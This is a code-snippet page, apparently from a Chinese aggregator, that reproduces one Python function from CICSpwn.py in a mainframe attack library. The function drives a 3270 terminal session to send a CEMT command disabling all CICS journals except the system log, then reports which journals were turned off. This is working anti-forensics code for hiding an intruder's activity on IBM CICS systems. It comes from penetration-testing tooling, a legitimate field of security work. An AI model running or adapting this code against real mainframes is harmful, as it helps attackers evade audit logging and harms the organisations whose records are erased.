CICSpwn.py 文件源码

python
阅读 34 收藏 0 点赞 0 评论 0

项目:mainframe-attack-library 作者: wavestone-cdt 项目源码 文件源码
def disable_journal():
    """
        Disables logging in CICS (except for system logs)
    """
    number_journals = 0;
    all_journals = 0;
    em.move_to(1,2)
    req_set_jour = CEMT+" S JOURNAL ALL DIS"
    em.safe_send(format_request(req_set_jour))
    em.send_enter()

    data = em.screen_get()
    for d in data:
       if "Jou(" in d and "NORMAL" in d and "Dis" in d and "DFHLOG" not in d:
           number_journals +=1;
           all_journals += 1;
       elif "Jou(" in d and "NORMAL" not in d and "Ena" in d and "DFHLOG" not in d:
           pos= d.find("Jou(") + len("Jou(")
           whine("Journal "+d[pos:pos+8]+" could not be disabled",'err')
           all_journals += 1;

    if number_journals > 0:
       whine(str(number_journals)+" of "+str(all_journals) +" journals were disabled",'good')
    else:
       whine("Only DFHLOG is defined, cannot disable this system log",'err')
评论列表
文章目录


问题


面经


文章

微信
公众号

扫码关注公众号